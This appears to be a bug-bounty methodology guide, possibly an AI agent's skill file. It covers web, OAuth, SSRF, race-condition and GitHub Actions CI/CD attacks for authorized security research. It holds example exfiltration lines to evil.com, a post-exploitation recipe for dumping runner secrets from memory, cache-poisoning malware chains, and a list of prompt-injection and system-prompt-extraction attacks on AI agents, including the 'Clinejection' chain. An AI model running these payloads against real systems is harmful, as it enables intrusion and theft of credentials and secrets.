"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time -- go deep, don't spray
6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see

skills/bb-methodology/SKILL.md

.

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

• I know the app's core business model
• I've used the app as a real user for 15+ minutes
• I know the tech stack (language, framework, auth system, caching)
• I've read at least 3 disclosed reports for this program
• I have 2 test accounts ready (attacker + victim)
• I've defined my primary target: ONE crown jewel I'm hunting for today

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

• Subdomain takeover (

  subjack

  ,

  subzy

  )
• Exposed

  .git

  (

  /.git/config

  )
• Exposed env files (

  /.env

  ,

  /.env.local

  )
• Default credentials on admin panels
• JS secrets (SecretFinder, jsluice)
• Open redirects (

  ?redirect=

  ,

  ?next=

  ,

  ?url=

  )
• CORS misconfig (test

  Origin: https://evil.com

  + credentials)
• S3/cloud buckets
• GraphQL introspection enabled
• Spring actuators (

  /actuator/env

  ,

  /actuator/heapdump

  )
• Firebase open read (

  https://TARGET.firebaseio.com/.json

  )

1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence --

   timingSafeEqual

   in one place,

   ===

   elsewhere
3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth --

   /api/v1/

   guarded but

   /api/

   isn't
6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

• [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

• /admin -> IP restricted, confirmed by trying 15+ bypass headers

• GET /api/export returns 200 even when session cookie is missing
• Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

• 10 min: JWT kid injection on auth endpoint

• [15:10] IDOR on /api/invoices/{id} -- read+write

undefined

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (

  X-Forwarded-For: 127.0.0.1

  )
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in

  redirect_uri

• upload/cdn: CORS, path traversal, stored XSS

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
2. Reproduce old bugs -- verify you can find the pattern in older code
3. Pattern-match forward -- search for the same anti-pattern in current code
4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

#1 most paid web2 class -- 30% of all submissions that get paid.

• Create two accounts (A = attacker, B = victim)
• Log in as A, perform all actions, note all IDs in requests
• Log in as B, replay A's requests with A's IDs using B's auth
• Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• Check API v1/v2 differences
• Check GraphQL schema for node() queries
• Check WebSocket messages for client-supplied IDs
• Test batch endpoints (can you request multiple IDs?)
• Try adding unexpected params:

  ?user_id=other_user

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

• Try cloud metadata:

  http://169.254.169.254/latest/meta-data/

• Try internal services:

  http://127.0.0.1:6379/

  (Redis),

  :9200

  (Elasticsearch),

  :27017

  (MongoDB)
• Test all IP bypass techniques (see table below)
• Test protocol bypass:

  file://

  ,

  dict://

  ,

  gopher://

• Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

• Missing

  state

  parameter -> CSRF

• redirect_uri

  accepts wildcards -> ATO
• Missing PKCE -> code theft
• Implicit flow -> token leakage in referrer
• Open redirect in post-auth redirect -> OAuth token theft chain

• Coupon codes / promo codes
• Gift card redemption
• Fund transfer / withdrawal
• Voting / rating limits
• OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

• Negative quantities in cart
• Price parameter tampering
• Workflow skip (e.g., pay without checkout)
• Role escalation via registration fields
• Privilege persistence after downgrade

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

• Prompt injection via user input passed to LLM
• Indirect injection via document/URL the AI processes
• IDOR in chat history (enumerate conversation IDs)
• System prompt extraction via roleplay/encoding
• RCE via code execution tool abuse
• ASCII smuggling (invisible unicode in LLM output)

• Test

  X-Forwarded-Host

  ,

  X-Original-URL

  ,

  X-Rewrite-URL

  -- unkeyed headers reflected in response
• Parameter cloaking (

  ?param=value;poison=xss

  )
• Fat GET (body params on GET requests)
• Web cache deception (

  /account/settings.css

  -- trick cache into storing private response)
• Param Miner (Burp extension) -- auto-discovers unkeyed headers

• CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• H2.CL: HTTP/2 downgrade smuggling
• TE obfuscation:

  Transfer-Encoding: xchunked

  , tab prefix, space prefix
• Use Burp "HTTP Request Smuggler" extension -- detects automatically

• Certificate pinning bypass (Frida/objection)
• Exported activities/receivers (AndroidManifest.xml)
• Deep link injection
• Shared preferences / SQLite in cleartext
• WebView JavaScript bridge
• Mobile API often uses older/different API version than web

Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:

brew install sisakulint

or download binary from releases.

Quick scan:

sisakulint scan .github/workflows/

— flags Critical/High issues with auto-fix suggestions. Remote scan:

sisakulint scan --remote owner/repo

— scan without cloning.

github.event.issue.title

github.event.pull_request.body

run:

${{ }}

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref

• Expression injection —

  ${{ github.event.issue.title }}

  in

  run:

  block = RCE
  yaml

  # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
  run: echo "${{ github.event.issue.title }}"
  
  # FIXED — use env var (shell-quoted, not expression-interpolated)
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"

• Environment variable injection — untrusted input →

  $GITHUB_ENV

  yaml

  # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
  run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
  
  # FIXED — use heredoc delimiter
  run: |
    {
      echo "BRANCH<<EOF"
      echo "${{ github.head_ref }}"
      echo "EOF"
    } >> $GITHUB_ENV

• PATH injection — untrusted input →

  $GITHUB_PATH

  = arbitrary binary execution
• Output clobbering — untrusted input →

  $GITHUB_OUTPUT

  without heredoc delimiter = downstream job manipulation
• Argument injection — untrusted input as CLI argument (e.g.,

  docker run ${{ ... }}

  )
  yaml

  # VULNERABLE
  run: docker run ${{ github.event.pull_request.body }}
  
  # FIXED — end-of-options marker + env var
  env:
    INPUT: ${{ github.event.pull_request.body }}
  run: docker run -- "$INPUT"

• Request forgery (SSRF) — attacker-controlled URL in

  curl

  /

  wget

  within workflow

pull_request_target

workflow_run

• Untrusted checkout —

  actions/checkout

  on

  pull_request_target

  without explicit safe ref
  yaml

  # VULNERABLE — checks out attacker's PR code with repo secrets
  on: pull_request_target
  jobs:
    build:
      steps:
        - uses: actions/checkout@v4
          with:
            ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
        - run: make build  # runs attacker's Makefile with secrets
  
  # FIXED — only checkout base branch, or use read-only permissions
  permissions: {}
  steps:
    - uses: actions/checkout@v4  # checks out base branch by default

• TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
• Reusable workflow taint —

  secrets: inherit

  passes all secrets to called workflow that processes untrusted input
• Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
• Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
• Artifact poisoning —

  actions/download-artifact

  from untrusted

  workflow_run

  without validation
  yaml

  # VULNERABLE — downloads artifact from untrusted workflow, then executes it
  on: workflow_run
  steps:
    - uses: actions/download-artifact@v4
    - run: ./downloaded-binary  # attacker-controlled binary
  
  # FIXED — verify artifact hash/signature before execution

• Artipacked —

  actions/checkout

  with

  persist-credentials: true

  (default) leaks

  .git/config

  credentials in uploaded artifacts
  yaml

  # FIXED
  - uses: actions/checkout@v4
    with:
      persist-credentials: false

• Unpinned actions —

  uses: actions/checkout@v4

  (mutable tag) instead of SHA pin
  yaml

  # VULNERABLE — tag can be force-pushed
  uses: actions/checkout@v4
  
  # FIXED — pinned to immutable commit SHA
  uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

• Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
• Ref confusion — ambiguous tag/branch names exploited to load unintended action version
• Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
• Archived actions — unmaintained action with unpatched vulnerabilities
• Unpinned container images —

  image: ubuntu:latest

  instead of SHA256 digest pin

• Secret exfiltration —

  curl https://evil.com/${{ secrets.TOKEN }}

  in workflow
• Secrets in artifacts — uploaded artifacts contain

  .env

  , credentials, or hidden files
  yaml

  # FIXED — exclude hidden files
  - uses: actions/upload-artifact@v4
    with:
      include-hidden-files: false

• Unmasked secrets —

  fromJson()

  derived values bypass GitHub's automatic masking
  yaml

  # FIXED — manually mask derived secrets
  run: |
    TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
    echo "::add-mask::$TOKEN"

• Excessive

  secrets: inherit

  — reusable workflow call inherits all secrets when it only needs one
• Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML

• Dangerous triggers without mitigation —

  pull_request_target

  or

  workflow_run

  with no

  permissions: {}

  , no approval gate, no ref restriction
• Dangerous triggers with partial mitigation — some protections present but bypassable
• Label-based approval bypass —

  if: contains(github.event.pull_request.labels.*.name, 'approved')

  is spoofable (attacker can add labels)
• Bot condition spoofing —

  if: github.actor != 'dependabot[bot]'

  is trivially bypassed by naming account similarly
• Excessive GITHUB_TOKEN permissions —

  permissions: write-all

  when only

  contents: read

  needed
• Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
• OIDC token theft — CI runners expose OIDC tokens that grant cloud access

• Unrestricted AI trigger —

  allowed_non_write_users: "*"

  lets any user trigger AI agent execution
• Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
• Prompt injection via workflow context —

  ${{ github.event.issue.body }}

  interpolated into AI agent prompt parameter

1. Trigger accessibility —

   issues: opened

   and

   issue_comment: created

   are triggerable by ANY GitHub user.

   pull_request_target

   is triggerable via fork PR. Check if there's an

   if:

   condition filtering by actor/association.
2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because

   cherry-picker.yml

   passed

   ${{ github.event.issue.title }}

   via

   with:

   to a composite action in another repo (

   bazelbuild/continuous-integration

   ). The composite action's

   action.yml

   had

   run: TITLE="${{ inputs.issue-title }}"

   . Conventional scanners (actionlint) missed this because they don't follow

   uses:

   into external composite actions. Always fetch and read the composite action's action.yml.
3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used

   ${IFS}

   (Internal Field Separator) and Bash brace expansion

   {curl,-sSfL,URL}

   to bypass this. Issue titles/bodies have no such restriction.
4. Secrets reachability — Check

   permissions:

   at workflow AND job level. No explicit

   permissions:

   block = repo default (often

   write-all

   ). Check

   env:

   blocks for

   ${{ secrets.* }}

   . Check if

   GITHUB_TOKEN

   has write permissions.
5. Impact chain — Bazel: issue title injection → composite action shell injection →

   BAZEL_IO_TOKEN

   +

   GITHUB_TOKEN (write-all)

   → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).

${{ contains(...) }}

${{ startsWith(...) }}

${{ github.event.pull_request.labels.*.name }}

contains()

true

false

1. Explicit vs implicit code execution — The Flank $7.5K bug:

   gh pr checkout

   →

   gradle/gradle-build-action

   runs Gradle → Gradle auto-evaluates

   settings.gradle.kts

   as Kotlin script. The attacker never wrote a

   run:

   command. Any build tool that reads config from the repo is an execution vector:

   Makefile

   ,

   package.json

   (postinstall scripts),

   setup.py

   ,

   build.gradle.kts

   ,

   .cargo/config.toml

   ,

   Gemfile

   .
2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft:

   issue_comment

   trigger +

   refs/pull/${{ github.event.issue.number }}/head

   checkout.

   issue_comment

   runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
3. Self-hosted runner escalation — If

   runs-on:

   contains

   self-hosted

   , check: (a) Is the runner ephemeral? (

   --ephemeral

   in config.sh). (b) Is the runner in Docker group? (

   docker run -v /:/host --privileged

   ). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:

   RUNNER_TRACKING_ID=0

   + install attacker's runner agent) → wait for privileged workflow → steal PATs from

   .git/config

   or process memory.
4. TOCTOU — Label-gated

   pull_request_target

   workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The

   ref:

   at checkout time resolves to the new commit. Mutable refs (

   github.event.pull_request.head.sha

   at trigger time vs checkout time) are the root cause.
5. Post-exploitation — After initial access, enumerate all secrets:

   env | base64

   ,

   cat /proc/self/environ

   ,

   gcore $(pgrep Runner.Worker)

   +

   strings core.* | grep ghp_

   . PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.

if: "!github.event.pull_request.head.repo.fork"

permissions: {}

contents: read

--ephemeral

1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via

   needs:

   ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:

   pull_request

   workflow uploads → separate

   workflow_run

   workflow downloads.

   workflow_run

   triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
2. Download path matters —

   actions/download-artifact

   with

   path: .

   or workspace-relative paths (

   grafana-server/bin

   ) can overwrite source code, build scripts, or binaries. Safe pattern: extract to

   ${{ runner.temp }}/artifacts

   .
3. Source validation — Does the

   workflow_run

   consumer check

   github.event.workflow_run.head_repository.full_name != github.repository

   ? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
4. ArtiPACKED (persist-credentials) —

   actions/checkout

   defaults to

   persist-credentials: true

   . This writes

   GITHUB_TOKEN

   to

   .git/config

   . If the artifact upload path includes

   .git/

   (e.g.,

   path: .

   ), the token is publicly downloadable from the Actions artifact. Check: does any

   upload-artifact

   step use

   path: .

   or a broad path that includes

   .git/

   ?

needs:

workflow_run

persist-credentials: false

hashFiles('package-lock.json')

1. Key predictability —

   key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}

   is fully predictable. Adding

   github.sha

   or

   github.run_id

   to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
2. Cache hierarchy exploitation —

   workflow_run

   and

   workflow_dispatch

   workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The

   run-dashboard-search-e2e.yml

   pattern:

   workflow_run

   trigger →

   actions/cache

   with

   hashFiles()

   key → all PR workflows read this cache.
3. Payload injection — Cacheract: inject malware into package manager caches (

   node_modules/.cache

   ,

   ~/.cache/pip

   ,

   ~/.gradle/caches

   ). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
4. Privileged consumption — The cache is restored in a

   push

   or

   schedule

   workflow on the default branch. These workflows have full

   secrets

   access. The poisoned dependency executes during

   npm install

   /

   pip install

   /

   gradle build

   and exfiltrates secrets.
5. Clinejection chain — Prompt injection → AI agent runs

   npm install

   from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.

github.sha

github.run_id

actions/cache/restore

actions/cache